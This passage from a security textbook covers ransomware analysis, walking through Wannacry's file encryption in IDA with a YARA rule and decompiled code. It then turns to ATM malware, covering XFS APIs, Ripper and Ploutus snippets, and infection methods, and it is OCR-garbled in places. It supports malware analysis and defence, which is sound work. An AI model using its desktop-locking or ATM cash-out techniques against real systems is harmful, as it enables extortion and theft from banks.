the “For Further Reading” section for some examples). We learned that the core 
techniques implemented by the ransomware to own the Desktop are related to the 
windowing system. Here are the most important steps used to take control of the 
Desktop: 


1. Minimize all the windows in an infinite loop. As soon as a new window 1s 
maximized, it will be minimized immediately. 


2. Hook the keyboard so that it cannot be used by the victim. 


3. Set up specific hotkeys such as ALT-TAB to prevent the victim from switching to 
other windows. 


4. Set the malicious window as the topmost so that any other window that might pop 
up will always be behind it. 


5. Restrict the usage of the mouse to the area where the malicious window is located. 


Although the consequence of having your Desktop locked by the malware 1s scary, 
most of the time this kind of malware comes as a stand-alone program that 1s executed 
from a specific location in your file system. Therefore, it is pretty easy to deactivate 1t: 
just boot the machine with a live CD, mount the Windows hard drive if you're using a 
Linux distro, and search for executables under the infected user’s account. Here are the 
common paths you should check: 
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c:\Users\<user>AppDatac 
:\Users\<user>Local Settings 
c:\Users\<user>Application Data 


Alternatively, you can boot in Safe mode and go to the Run registry key, where you 
might find the executable name (although multiple places 1n the Registry are used to start 
the malware after reboot): 


HKLM\Software\Microsoft\Windows\CurrentVersion\Run 


Wannacry 


Wannacry is an infamous ransomware worm that appeared 1n May 2017 and quickly 
made headlines worldwide. It is labeled a worm because it used the CVE-2017-0144 
vulnerability, named ETERNALBLUE, in the Server Message Block (SMB) protocol to 
infect vulnerable Windows hosts on the Internet. The ETERNALBLUE vulnerability 
was famous because it was disclosed as part of the information leak by the Shadow 
Brokers hacking group. The group released to the public several exploits that were 
developed and used by the NSA, one of which was ETERNALBLUE. 

Wannacry is part of the crypter ransomware family because it encrypts the victim's 
data and holds it for ransom. In this section, we examine different approaches to 
analyzing Wannacry ransomware and try to answer following questions: 


* How are the files encrypted and which cryptographic algorithms are used? 
* Is it possible to decrypt the ransomed files? 


Example 19-3: Analyzing Wannacry Ransomware 


Identifying and understanding the encryption scheme used by ransomware is one of the 
most important pieces of information for the affected victims. This information can help 
reveal any vulnerabilities 1n the implementation of file encryption or key management, 
which could lead to recovering ransomed files. On the other hand, confirming that the 
encryption scheme used by ransomware 1s secure allows the victims to prioritize their 
efforts and proceed with remediation. 

Two main classes of encryption algorithms are employed by ransomware: 


e Symmetric-key algorithms These algorithms use the same key for encryption 
and decryption. They are typically much faster at encrypting/decrypting the data 
than asymmetric algorithms but typically require the ransomware to “leak” the 
decryption key on the infected machine since the same key is used to encrypt data. 


* Asymmetric-key algorithms These algorithms split the secret in two keys: 
public and private. The public key can be distributed with the malware and 1s 
used only for encrypting data. To decrypt the data, one would need the private part 
of the key, which 1s managed by malware authors and sold to victims for a 
ransom. Asymmetric algorithms are mostly used for secure key exchange of 
symmetric keys, which allows for much faster encryption/decryption. 


Designing a secure crypto system 1s a complex endeavor; to be truly secure, the 
system requires a careful design that depends on various interconnected pieces such as 
algorithms, key parameters, key handling, and a security-aware implementation. 

Because implementing cryptographic algorithms 1s a fairly complex and security- 
sensitive undertaking, most developers decide to use operating system crypto APIs or to 
import, either statically or dynamically, third-party crypto libraries. Checking the 
imported functions is the easiest way to identify if the malware uses one of the native 
crypto APIs. 

One of the oldest and simplest ways to 1dentify the usage of cryptographic algorithms, 
in the case of statically linked libraries, has been by using static signatures for various 
constants on which the algorithms depend. One of the early tools that leveraged these 
constants for detection was KANAL — Crypto Analyzer, a plug-in for the PEiD signature 
scanner. Nowadays, most tools rely on the YARA format for static signatures or allow 
users to leverage signatures using third-party plug-ins. Some of the common reverse 
engineering tools that support YARA are IDA, x64dbg, Binary Ninja, and Radare2. 





this section, is F351EIFCCAOCAEAO0S5FCAADISAT7F8B36. 


To start with the identification of cryptographic algorithms, we will open the t. wnry 
component in IDA and examine the Imports section of the PE file. By sorting the 
imported functions by name, we organize the functions by the functionality they provide, 
which allows us to spot several crypto APIs: 


e CryptExportKey This function exports a cryptographic key or a key pair from a 
cryptographic service provider (CSP) in a secure manner. 


e CryptReleaseContext This function releases the handle of a CSP and a key 
container. 


Technet24 


* CryptGenRandom This function fills a buffer with cryptographically random 
bytes. 


* CryptGetKeyParam This function retrieves data that governs the operations of 
a key. 


Imported functions give a glimpse of the cryptographic functionality but don't reveal 
any details about the algorithms we are dealing with. They do, however, provide 
shortcuts for the analyst to find the functions responsible for the desired functionality (1n 
this case, encryption). 





This analysis methodology 1s known as a bottom-up approach. It keeps the 
focus on answering a specific question by efficiently guiding the analysis efforts using 
available clues. This approach 1s especially useful when dealing with overwhelmingly 
big and complex binaries. 


For the second preliminary crypto identification step, the findcrypt-yara IDA plug-in 
will be used. This plug-in comes with various open source YARA rules that can detect 
both imported or dynamically resolved crypto functions as well as different 
cryptographic constants associated with crypto algorithms. The included YARA 
signatures are missing some of the common crypto API functions, so before running them 
on the analyzed sample, we'll add the following YARA rule: 


rule Advapi Crypto API { 


meta: 

description = "Identify Crypto API functions." 
strings: 

$ = "CryptGenKey" 

$ = "CryptDecrypt" 

S = "CryptEncrypt" 

S = "CryptDestroyKey" 

> = "Crypt ImportKey" 

S$ = "CryptAcquireContextA" 


condition: 
any of them 


Running the FindCrypt plug-in on the analyzed file reports nine signature matches— 
three RijnDael AES and six Crypt* APIs—that weren't present 1n the Imports section 


we analyzed previously. By looking at the 1dentified constants, we can safely assume 
that the ransomware 1s using AES encryption and potentially some other algorithms. 
Identifying the CSP used in CryptAcquire ContextA will narrow down the available 
algorithms, so we'll start by finding cross-references (XREFs) from the address of the 
CryptAcquire ContextA string located here: 


.data:1000D1F8 aCryptacquireco db 'CryptAcquireContextA',0 


The string is only used in one location, and that function is responsible for 
dynamically resolving the crypto functions. After the variable names and types are 
annotated, the code looks like the following 1n the Hex-Rays decompiler: 


BOOL ResolveCryptAPIs(í) 
BOOL result; 
HMODULE rLoadLibrary; 
HMODULE v2; 
BOOL ( stdcall *CryptGenKey )(HCRYPTPROV, ALG ID, DWORD, HCRYPTKEY *); 


if ( CryptAcquireContextA ) 
return 1; 

rLoadLibrary = LoadLibraryA(LibFileName); 

v2 - rLoadLibrary; 

result s 0; 

if ( rLoadLibrary ) 

{ 
CryptAcquireContextA = GetProcAddress(rLoadLibrary, aCryptacquireco); 
CryptImportKey = GetProcAddress(v2, aCryptimportkey) ; 
CryptDestroyKey = GetProcAddress(v2, aCryptdestroyke) ; 
CryptEncrypt = GetProcAddress(v2, aCryptencrypt) ; 
CryptDecrypt = GetProcAddress(v2, aCryptdecrypt) ; 
CryptGenKey  - GetProcAddress(v2, aCryptgenkey) ; 
CryptGenKey = CryptGenKey ; 
if ( CryptAcquireContextA ) 


if ( CryptImportKey && CryptDestroyKey && CryptEncrypt && 
CryptDecrypt && CryptGenKey ) 
result - 1; 
|] 
j 
return result; 


| 
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NOTE Dynamic resolution of API functions using LoadLibrary and GetProcAddress 
is a common occurrence in malware. It allows the authors to hide the functionality from 
the static analysis tools relying on the import table. Another improvement on this 
approach 1s obfuscating or encrypting the strings of API functions, which further 
prevents static signatures and reasoning about executable functionality. When analyzing 
malware, make sure you check LoadLibrary and GetProcess API references in code 
and determine 1f they are resolving additional APIs. 


When dealing with dynamically resolved APIs in IDA, you can name the variables as 
the resolved functions, and IDA will automatically apply the corresponding API 
prototype. Here is an example of naming the variable CryptAcquire ContextA: 


.data:1000D93C ; BOOL  — stdcall CryptAcquireContexta ( 
HCRYPTPROV *phProv, LPCSTR pszContainer, LPCSTR pszProvider, 
DWORD dwProvType, DWORD dwFlags) 

.data:1000D93C CryptAcquireContextA dd 0 


Although this prototype might look correct, 1t won't allow IDA to propagate argument 
names in the disassembly and will result 1n a somewhat messy decompiler 
representation. The issue here is that the automatic type assigned to the variable by IDA 
is a function declaration instead of a function pointer. To fix the variable's type, 
remember to change it to a function pointer by wrapping the function name in curly 
braces and adding a pointer (*) 1n front of the name, as follows: 


(*CryptAcquireContextA) 


To 1dentify the CSP, we continue with looking at cross-references of 
CryptAcquire ContextA and will analyze a function at .text:10003A80. Having 
annotated the function pointer, we can easily identify the names of arguments and find 
the value of the pszProvider argument: 


.text:10003A92 push 18h ; dwProvType 

.text:10003A94 ; "Microsoft Enhanced RSA and AES Cryptographic Provider" 
.text:10003A94 and eax, offset aMicrosoftEnhan 

.text:10003A99 push  eax ; pszProvider 

.text:10003A9A push 0 ; pszContainer 

.text:10003AS9C push edi ; phProv 


.text:10003AS9D call  CryptAcquireContextA 


The CSP used by malware supports the AES and RSA algorithms. We already 
identified AES constants in the sample, so this is just another confirmation that this 
algorithm is used in some form, either for encryption, decryption, or both. The usage of 
RSA hasn't been confirmed yet, so the next step 1s to understand how this cryptographic 
provider is used. We continue by analyzing XREFs of the current function and will look 
at sub_10003AC0. Because this function likely contains crypto-related logic, we need 
to understand the code and all surrounding functions. 

In situations like this where an in-depth understanding of a function is necessary, a 
top-down approach makes the most sense. In this case, all functions are very simple 
wrappers around APIs, so we won't go into many details. Shown next 1s an IDA 
proximity view of the functions called fromsub 10003ACO0, which has been renamed 
Initialize Keys. 
















































































NOTE The IDA proximity browser provides a convenient way to explore the call 
graph and get a better overview of the related functions. Proximity view 1s most useful 
after the surrounding functions are named during the top-down analysis pass. 


The Initialize Keys function reveals several important properties of the crypto setup: 
* Malware comes with a hardcoded 2048-bit RSA public key. 
e Sample generates a new 2048-bit RSA public/private key pair. 
* The public key 1s saved unencrypted to the file system as 00000000.pky. 


* The private key 1s saved encrypted with the hardcoded public RSA key as 
00000000.eky. 


* Destroys the keys from memory using the CryptDestroyKey API. 
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The fact that the generated private key 1s encrypted with a hardcoded public key and 
destroyed after use hints that the public part of the generated key pair 1s used to encrypt 
something important. Because the private key was encrypted with the author's public 
key, only the author can access the encrypted key, giving them the exclusive ability to 
decrypt everything encrypted with the generated public key. Because the generated 
public key 1s used to encrypt something important, the next step 1s to identify what 
exactly that 1s. 

To find the code location where the key 1s used to encrypt data, we will once again 
leverage XREFs to identify locations that use CryptEncrypt API. There are five 
references 1n total, and three of them we already analyzed while investigating 
Initialize Keys. Therefore, we'll take a look at sub 10004370. 

The function 1s very simple; it generates a random 16-byte buffer using the 
CryptGenRandom API and encrypts the buffer with the generated RSA public key. Both 
the unencrypted and encrypted buffers are returned to the calling function. By following 
the use of both buffers 1n the calling function, we can notice the following differences: 


* The encrypted buffer 1s written to a file as a part of a header. 


* The unencrypted buffer 1s used as the AES key to encrypt the content of ransomed 
files. 


Now that we have collected all the pieces, here 1s how Wannacry utilizes AES and 
RSA for encrypting files: 


1. Anew 2048-bit RSA key pair is generated per infected machine. 


2. The private RSA key is encrypted with the attacker’s hardcoded public RSA key, 
preventing anyone other than the attacker from decrypting the machine’s private 
key. 


3. Arandom 128-bit AES key is generated for every victim’s file the Wannacry 
encrypts. 


4. The public part of the generated RSA pair is used to encrypt the AES key used for 
encrypting the user’s files and is saved as part of the victim’s encrypted file 
header. 


This 1s a pretty robust crypto design that prevents anyone other than the attackers, who 
have the private part of the hardcoded public key, from decrypting the AES keys used to 
encrypt the victim’s files. 

However, luckily for victims, the theoretical concepts and practical implementation 
often leave enough room for the security researcher to find subtle differences and attack 
the shortcomings of implementation. In this case, researchers have found that on some 


versions of Windows, it is possible to recover the prime number of the private RSA key 
due to inadequate memory wiping. This allows the victims who haven't killed the 
ransomware process to look for the private RSA key 1n memory and use 1t to decrypt all 
the affected files. 

Another vulnerability was identified in the way the files are deleted if they are 
located outside the predefined list of locations. The cleartext files located in the 
predefined list of directories were overwritten with random data before they were 
deleted. All other files are simply deleted from the file system without the file content 
being overwritten. This has allowed users to employ common forensic tools to recover 
the deleted cleartext files and partially remediate the impact of ransomware. 

It is not always possible to find vulnerabilities 1n the ransomware and provide 
workarounds for victims, but without even looking, one can't hope to find any. By using 
the presented bottom-up approach, the analyst can quickly identify the relevant parts of 
the code, dive into large binaries, concentrate on answering the important questions, and 
look for implementation vulnerabilities. 


summary 


Dealing with ransomware can be a real challenge from a reverse engineering point of 
view. The criminals put a lot of effort 1nto making 1t hard to detect and reverse the 
malware in an attempt to get as much money as possible before the malware gets 
detected. 

Studying and understanding methods and techniques used by attackers help private 
users and corporations protect themselves from the ever-growing new malware 
families. Wannacry ransomware took the world by surprise and once again proved that 
attackers don't need 0-day vulnerabilities to wreak havoc and that software patches are 
süll a worldwide problem. 

Regular backup of your personal data on a cloud provider and regular software 
updates are probably the most effective protections against ransomware. 


For Further Reading 
The AIDS trojan en.wikipedia.org/wiki/AIDS (trojan horse) 


Android Simplelocker 
ransomware nakedsecurity.sophos.com/2014/06/06/cryptolocker-wannabe- 
simplelocker-android/ 


Bitcoin en.wikipedia.org/wiki/Bitcoin 
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EternalBlue https://en.wikipedia.org/wiki/Eternal Blue 


“Lock Windows Desktop" www.codeproject.com/Articles/7392/Lock-Windows- 
Desktop 


Symantec Ransomware Video symantec.com/tv/allvideos/details.jsp? 
vid=1954285164001 


Trojan.CryptolockerE Wwww.symantec.com/security response/writeup.]sp? 
docid=2014-050702-0428-99 


Wannacry https://en.wikipedia.org/wiki/WannaCry ransomware attack 





CHAPTER 


ATM Malware 


The automated teller machine, or ATM, is a major target for criminals, and the reason 1s 
simple: it’s loaded with cash! Twenty years ago, the challenge for criminals was to 
break into a secure ATM vault where the money was kept, but in recent years attackers 
find a potentially easier path to money by infecting ATMs with malware. In this chapter, 
we take a look at some of the most dangerous ATM malware in recent years and, more 
important, techniques that aid in dissecting and identifying indicators of compromise. In 
addition, we look at ways to mitigate the risks presented by ATM malware. 

In this chapter, we discuss the following topics: 

* Automated teller machines (ATMs) 

* Extensions for Financial Services (XFS) 

e XFS architecture 

e XFS manager 

e ATM malware 

e ATM malware countermeasures 





ATM Overview 


Automated teller machines have existed for more than 50 years now, and their main 
purpose 1s to dispense cash. However, nowadays these machines can also be used to 
pay utility bills, add credit to phones, or even deposit checks. In this chapter, we are 
going to be working with a real NCR Personas 5877 ATM (P77), which 1s a Windows 
PC-based self-service ATM. Figure 20-1 shows the external components of the 
machine. Some of these components are self-explanatory, but the following deserve 
more explanation: 


Technet24 


Fascia 


Receipt printer 


Display 


DIP card reader 


Dispense 


Secure vault — 


Keylock — 








Figure 20-1 External view of the NCR Personas 5877 





* Fascia The fascia covers only the upper portion of the ATM and allows access 
to the PC hardware. The fascia 1s opened via the top lock key. 


* Keylock This keylock protects the lower portion of the ATM and is where the 
secure vault (and money) 1s located. 


* Display/touchscreen Even old monitors have touchscreen support to enable 
interaction with the ATM. 


* Keyboard Also known as the pinpad, the keyboard allows the user to interact 
with the ATM. 


* Dispenser This is the main ATM component for users making cash withdrawals 
and is described in detail later in this chapter. 


Next, Figure 20-2 shows the inside of the ATM once the upper and lower portions are 
open. The upper portion contains the PC core, which is basically the CPU running the 
operating system (OS), along with the peripherals and ports, and the following two 
important components: 


Technet24 


On/off switch PCcore — Floppy disk Serials Dispenser Purge bin 








Supervisor panel Receipt printer Interlock Currency Cabinet 
switches cassettes front door 


Figure 20-2 Internal view of the NCR Personas 5877 


e On/off switch Used to turn the ATM on and off 
e Supervisor/operator panel Used to put the ATM in configuration mode, 
normally by technicians who are testing or configuring the machine 


The lower portion shows the following components inside the secure vault: 


* Purge bin Holds the rejected bills that were not able to be dispensed 


* Currency cassettes Hold the cash available in the ATM. Each cassette holds a 
different denomination (for example, $20, $50, or $100 bills). Depending on the 


vendor, an ATM can have one or more cassettes. 


* Interlock switch This is a sensor that allows the ATM to know when the secure 
door 1s open. 


Now that we have covered the main components, how do they interact with each 
other? We can understand this by looking at the steps taken during a cash withdrawal 
(the ATM components are bolded): 


1. The cardholder enters a debit card into the card reader. 


2. The cardholder enters his or her personal identification number (PIN) through the 
keyboard (pinpad). 

2. Both the card data and PIN are handled by the XFS manager (PC core) and sent 
to the bank for validation. 

4. The bank validates the card and returns the authorization result. 


5. Ifthe card is approved, the XFS manager sends notification to the dispenser, 
located in the secure vault, to dispense the money. 


6. The dispenser interacts with the cassette holding the denomination needed and 
starts dispensing cash. 


7. The receipt printer is called to provide a transaction receipt to the cardholder. 


XFS Overview 


The Extensions for Financial Services (XFS) were initially created by the Banking 
Solutions Vendor Council (BSVC), a group started by Microsoft back in 1995 and later 
adopted in 1998 by the European Committee for Standardization (also known as CEN) 
as an international standard. 

Initially, the BSVC decided to use Microsoft Windows as the operating system for 
XFS, but then adopted and enhanced the Windows Open Service Architecture (WOSA) 
with XFS, defining a Windows-based client/server architecture for financial 
applications, and hence the name WOSA/XFS. The WOSA/XFS contains specifications 
for access to financial peripherals, which includes but 1s not limited to the printer, card 
reader, pinpad, dispenser, and cassettes. 

This section provides an overview of WOSA/XFS. For more details, it 1s 
recommended that you read the full specification created by CEN, CWA 13449-1.! 


XFS Architecture 
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All major ATM vendors nowadays use Windows as the operating system and therefore 
must adhere to the XFS standard defined by CEN. The workflow 1s shown in the 
following steps: 


1. The Windows-based application communicates with peripherals via the XFS 
manager using a predefined set of app-level APIs (WFS prefix). 


2. The XFS manager maps the specified app-level API to the corresponding service 
provider's APIs (WFP prefix). 


a. The XFS manager uses the configuration information stored in the registry for 
the mapping process. 


b. The XFS manager and service provider are vendor-specific implementations. 


3. Any results from the peripheral are sent back to the Windows-based application 
via the XFS manager’s APIs (WFM prefix). 


The XFS architecture 1s shown in Figure 20-3. 
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Figure 20-3 XFS architecture 





The following example shows the common app-level APIs used during an interaction 
between the Windows-based application and the XFS manager: 


e WESStartUp() Connects the Windows-based application with the XFS manager. 


* WESOpen() Establishes a session between the Windows-based application 
and the service provider via the XFS manager. 


e WESRegister() Configures messages to receive from the service provider. 
* WESLock() Provides exclusive access to the peripheral. 


* WESExecute() Multiple calls of this function specify different commands, 
such as Dispense, Read Card, Print, and so on. 


* WESUnlock() Releases control of the peripheral. 

* WESDeregister() Stops the receiving of messages from the service provider. 
e WESClose() Ends the session. 

WFSCleanUp() Disconnects the application from the XFS manager. 








NOTE Every XFS API has synchronous and asynchronous versions that, when called, 
work as follows: 


Synchronous call The program will be blocked until the function completes the 
entire operation. In this case, the application executes 1n a sequential manner. 


Asynchronous call The function returns immediately but will be completed in an 
uncertain amount of time. 


XFS Manager 

Every ATM vendor implements its own XFS manager via its own middleware, always 
following the WOSA/XES standard defined by CEN. Here 1s a list of the most notable 
XFS middleware currently available: 


e Diebold: Agilis Power 

* NCR: APTRA ActiveXFS 

e KAL: Kalignite 

e Wincor Nixdorf: Probase (merged with Diebold) 


As mentioned in the previous section, the XFS manager 1s responsible for mapping the 
API functions (DLLs starting with WFS) to SPI functions (DLLs starting with WFP) and 
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calling the vendor-specific service providers. To see this process in action, let's use the 
FreeXFS Framework (OpenXFS V0.0.0.5.rar), which comes with the full 
implementation of XFSManager, service provider interfaces (SPIs) of various devices, 


and sample application code based on CEN XFS 3.0.7 


If we look at the XFSManager implementation via FreeXFS, which is located in the 
\Manager\NI_ XFSManager.h file, we can clearly see the definition of the supported 
WES and WFM APIs: 


NI XFSMANAGER API HRESULT extern WINAPI  WFSStartUp ( DWORD dwVersionsRequired, LPWFSVERSION lpWFSVersion) ; 

NI XFSMANAGER API HRESULT extern WINAPI  WFSOpen ( LPSTR lpszLogicalName, HAPP hApp, LPSTR lpszAppID, DWORD 
dwTIraceLevel, DWORD dwTimeOut, DWORD dwSrvcVersionsRequired, LPWFSVERSION lpSrvcVersion, LPWFSVERSION lpSPIVersion, 
LPHSERVICE lphService) ; 

NI XFSMANAGER API HRESULT extern WINAPI WFSRegister ( HSERVICE hService, DWORD dwEventClass, HWND hWndReg); 

NI XFSMANAGER API HRESULT extern WINAPI  WFSExecute ( HSERVICE hService, DWORD dwCommand, LPVOID lpCmdData, DWORD 
dwTimeOut, LPWFSRESULT * lppResult); 

NI XFSMANAGER API HRESULT extern WINAPI WFSCleanUp [() ; 

NI XFSMANAGER API HRESULT extern WINAPI WFMAllocateBuffer( ULONG ulSize, ULONG ulFlags, LPVOID * lppvData); 

NI XFSMANAGER API HRESULT extern WINAPI WFMAllocateMore( ULONG ulSize, LPVOID lpvOriginal, LPVOID * lppvData); 
NI XFSMANAGER API HRESULT extern WINAPI WFMFraeBuffaer( LPVOID lpvData); 





NOTE The implementation of these APIs can be found in 
\Manager\NI_ XFSManager.cpp. 


Let's explore the code in Samples WosaXFSTest20100106 WosaXFSTestView.cpp to 
fully understand the XFS manager’s operation. 


Step 1: WFSStartUp 
The first step 1s to connect the Windows-based app with the XFS manager: 


if(m strXFSPath == "") m strXFSPath = FindXMLManagerPath() ;® 
if(!LoadManagerFunction(m strXFSPath)) (60 
m strResult +=  T("WFSStartUp error in loading funcitons.\r\n"); 
m bStartUp - FALSE; 
j 
else( 
HRESULT hr = (*m pfnWFSStartUp) ( nVersion, &WFSVersion);O 
if(hr == S OK) { 
str.Format ("WFSStartUp OK with version €*08XXrXn", nVersion) ; 
m bStartUp = TRUE; 


CString CWosaXFSTestView::FindXMLManagerPath()6 


HRESULT hr = WFMOpenKey (HKEY CLASSES ROOT, //WOSA/XFS ROOT/LOGICAL SERVICES, 
"WOSA/XFS ROOT", //lpszSubKey, 
&hKeyXFS ROOT); //phkResult, lpdwDisposition 
if(hr != WFS SUCCESS) return -1; 


BOOL CWosaXFSTestView::LoadManagerFunction(CString strPath) {@ 
m hLib = LoadLibrary (strPath) ; 
if (m hLib == NULL) { 
m strResult += T("Load XFS Manager failed.\r\n") ; 
UpdateData (FALSE) ; 
return FALSE; 
| 
else | 
m strResult += T("Load XFS Manager succeeded. \r\n"); 
UpdateData (FALSE) ; 
| 
m pfnWFSStartUp = (pfnWFSStartUp) Get ProcAddress (m hLib,"WFSStartUp");69 
m pf£nWFSOpen = (pfnWFSOpen)GetProcAddress (m hLib, "WFSOpen") ; 
m pfnWFMAllocateBuffer- (pfnWFMAllocateBuffer)GetProcAddressim 
hLib,"WFMAllocateBuffer"); 


Before anything else, the XFS manager must be loaded 1n memory; then it 1s 
implemented in a DLL and the associated path 1s stored in the registry. In this example, 
the FindXML ManagerPath() function g (duplicated to also show the function 
implementation; the same for callout e) helps to retrieve this value. Once the DLL path 
is identified, the LoadManagerFunction() e helps to load it in memory via the 
LoadLibrary API. Within the same function, all WES* and WFM* functions are 
supported by the XFS manager and loaded via the GetProcAddress API e. 

At this point, the XFS manager 1s loaded in memory and now needs to be connected 
with the Windows-based application via the WFSStartUp API @, which passes as its 
first parameter the range of SPI versions that are expected to be handled by the XFS 
manager. If those are not supported by middleware, the call will return an error. 


Step 2: WFSOpen 
Once the Windows-based application and the XFS manager are synchronized, it's time 
to interact with an ATM peripheral (also known as logical service) to perform any 
desired action, such as opening the card reader or dispensing some money. The 
interaction with the peripheral is done via its SPI, so we first need to identify all the 
logical services available by querying 
HKEY USERS\.DEFAULT\XFS\LOGICAL SERVICES" in the Windows registry. 

It is important to mention that each ATM vendor has its own naming convention; for 
example, NCR names its dispenser CurrencyDispenserl, whereas Diebold uses the 
name DBD AdvFuncDisp. These indicators are really helpful when we're trying to 
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identify the target of the ATM malware. Another use of this registry key is to query the 
status of the peripheral via the WFSGetlInfo API before we start interacting with it. 
More details are provided in the section “ATM Malware Analysis," later in this 
chapter. 


Once the logical service to interact with 1s 1dentified, the WFSOpen API (or the 
WFSAsyncOpen API, depending on the application's needs) will receive this value as 
the first argument, following our example based on WosaXFSTestView.cpp. That value 
is passed via the m strLocalService variable e, shown next: 


hr = (*m pfnWFSOpen) (m strLocalService.GetBuffer(0),6 
m hAppSync,//WFS DEFAULT HAPP, //hApp, 
"MySession", //NULL,  //LPSTR lpszAppID, 
WFS TRACE ALL API, //NULL, //DWORD dwTraceLevel, 
WFS INDEFINITE WAIT, //DWORD dwTimeOut, 
0x00020003, //DWORD dwSrvcVersionsRequired, 
&WFSVersionl, //LPWFSVERSION lpSrvcVersion, 
&WFSVersion2, //LPWFSVERSION lpSPIVersion, 
&hService  // LPHSERVICE lphService 
be 


if(hr == 0) m hSyncService = hService; else m hSyncService = 0; 
if|[hr == 0) 


CString str; 
str.Format("OK SyncOpen Service ID = td SPI version High €04X Low €04XVXr| 
n",m hSyncService,WFSVersion2.wHighVersion, 
WFSVersion2.wLowVersion); 


The remaining parameters passed to the function are self-explanatory and are not 
important for the purpose of our analysis. 

Now, how does the XFS manager know the SPI DLL to interact with? It also comes 
from the registry key \XFS\SERVICE PROVIDERS and is based on the logical 
services previously identified. Figure 20-4 shows that the DLL of the pinpad SPI is 
NCR PINSP.DLL. Note that the SPIs are 1ndependently implemented by every vendor. 
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Figure 20-4 Identifying the SPI DLL 





Step 3: WFSRegister 

Now it’s time to configure the messages to receive from the service provider via the 
WFSRegister API. In the following code, we see that the events from SYSTEM, USER, 
SERVICE, and EXECUTE are being configured @: 


if (m_hSyncService) { 
WriteScripti"Do", T("SyncRegister"), Tí"")]; 


HRESULT hr = m pfnWFSRegister (m hSyncService 
,SYSTEM EVENTS | USER EVENTS | SERVICE EVENTS | EXECUTE EVENTSG 
: m hWnd); 


Step 4: WFSExecute 

Finally, the last main step (we're skipping some steps not needed for our purposes) 1s to 
request the peripheral (or logical service) to execute an action via the SPI 
implementation. Common actions include asking the card reader to read the data from 
tracks 1 and 2 on the debit card and asking the dispenser to dispense some money! 


Figure 20-5 shows the Ripper’ malware in action (this sample malware, 
15632224b7e5ca0ccb0a042daf2adc13, will be used throughout the chapter), calling the 
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WFSAsyncExecute API and receiving in its second parameter the action to be executed 
(in this case, WES CMD PIN GET DATA, to read the information entered at the 
pinpad). 


xor ebx, ebx 

push 408 ; WFS_CMD_PIN_GET_DATA 
inc ebx 

push ecx 

now [ebptvar_1lA], ebx 

now [ebp*tuar BJ, OCOOh 

nou [edxts3Ch], bl 

call ds: Wr3AsyuncExecute 





Figure 20-5 Interacting with the pinpad 





We have gone through all details an XFS-compliant ATM follows when dealing with 
daily operations, and we discussed the importance of the XFS manager in coordinating 
this effort. In the next section, we look at some techniques for analyzing ATM malware. 


ATM Malware Analysis 


Now that you understand how the XFS-compliant ATM works from end to end, let’s 
look at some useful techniques for dissecting ATM malware based on real threats found 
in the wild. 

We'll take a quick overview of the main features of ATM malware so that you 
understand what types of threats are seen in the wild, how are they installed in the 
ATMs, how the malware interacts with the attackers, and how the malware steals 
information or money! 


Types of ATM Malware 


There are two types of ATM malware: those affecting cardholders and those affecting 
banks. 


Malware Affecting Cardholders 


This type of malware focuses on stealing information from the ATM such as the victims’ 
full names, debit card numbers, expiration dates, and encrypted PINs. All of this data is 
then sold on the black market, where cloned cards are created and unauthorized online 
payments are made. Froma malware analysis perspective, these threats act like 
information stealers—no knowledge about ATMs is necessarily needed during the 
analysis. Examples of these kind of threats are PanDeBono and NeaBolsa, found in 


Latin America." These threats steal information via a USB device that's 1nserted into the 
machine and 1s recognized and validated by the malware running inside. 

Even though skimmer devices are related to physical attacks, and are therefore outside 
the scope of this chapter, it is worth mentioning them because they affect cardholders. 
These devices are physically attached to the ATM in a hidden way so that the victim 
cannot see them (see ). Those devices can come either with a camera or as a 
fake pinpad or card reader, mainly to capture entered PIN numbers or steal card data. 
They are able to send the stolen information in real time to the attackers via Bluetooth, 
GSM, or any other wireless communication. 


Hidden Camera. 


ATM Card Skimmer 4 


R ŘŮ———_——__ 





Figure 20-6 Skimmers attached to ATMs 


There was a known case in Cancun, Mexico, where the skimmers were installed 
inside the ATMs and communicated with the attackers via Bluetooth. The fact that most 
of those infected machines were inside hotels and airports suggests that local gangs are 
supported by people from “legitimate” businesses. “Going to the cops would be useless 
at best, and potentially dangerous; Mexico’s police force is notoriously corrupt, and for 
all my source knew the skimmer scammers were paying for their own protection from 


the police,” wrote Brian Krebs. 
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Malware Affecting Banks 

This type of malware empties the ATMs; therefore, the cardholders are not affected, but 
the banks are. This 1s done either by reusing the XFS middleware installed 1n the 
machines or by creating an XFS-compliant application. Examples of these type of 
threats include Ploutus, Alice, SUCEFUL, Ripper, Padpin (later named Tyupkin by 
Kaspersky), and GreenDispenser. 


Techniques for Installing Malware on ATMs 


This section will describe the different techniques that attackers employ to infect ATMs 
with malicious software. 


Physical and Virtual Attacks 
For a physical attack, the attackers open the upper portion of the ATM (refer back to 
Figure 20-1) and transfer the malware via the following techniques: 


* Attaching a USB or CD-ROM and rebooting the machine. Once this happens, the 
BIOS order is changed to boot into the newly attached device and start the 
malware installation. 


e Removing the hard disk of the ATM, connecting it as slave disk on the attacker’s 
laptop, and transferring the malware. Alternatively, the ATM hard disk 1s 
replaced with one from the attacker that is already prepared to work with the 
targeted model. 








NOTE The Ploutus gang is known to use these two techniques in ATMs across Latin 
America. 


For a virtual attack, the attackers break into the bank’s network or payment gateway. 
Once inside, the goal is to find the network segment where the ATMs are connected and 
to locate a vulnerability in order to drop the malware through the network to the teller 
machines. This attack 1s powerful because it can infect any ATM worldwide. This was 
the case with the Ripper ATM malware; the attackers infected the machines 1n Thailand 
through the bank’s network and then the mules (the people in charge of receiving the 
cash coming out of the machine) flew to that territory to empty the machines within 
hours! 


Malware Interacting with the Attackers 

Once the malware has been installed 1nside the ATM, the attackers need to have a way 
to interact with it without getting noticed by the cardholders. This means the malware 
interface will pop up on the screen only after receiving some sort of activation. 

The first known case of interaction (used by Ploutus malware with MDS: 
488acf3eó6ba215edef77fd900e6eb33b) involved an external keyboard attached to the 
ATM. Ploutus performs what 1s known as “keylogging,” which allows the attackers to 
intercept any keystrokes entered, and as soon as 1t finds the right combination of 
keystrokes, it will activate the GUI that allows the attackers to dispense cash on 
demand. In the following code listing, Ploutus 1s checking 1f any of the F keys were 
entered in order to execute a specific command. The r4 @ key, for example, will hide the 
GUI interface. 


if (PloutusService.MemoryData.GuiEnable) 


| 


if (KeyData.KeyCode == System.Windows.Forms.Keys.Fl) 
PloutusService.Keyboard.ProcessCommandGui (1); 

if (KeyData.KeyCode == System.Windows.Forms.Keys.F2) 
PloutusService.Keyboard. ProcessCommandGui (2); 

if (KeyData.KeyCode == System.Windows.Forms.Keys.F3i) 
PloutusService. Keyboard. ProcessCommandGui (3); 

if (KeyData.KeyCode == System.Windows.Forms.Keys.F4) 


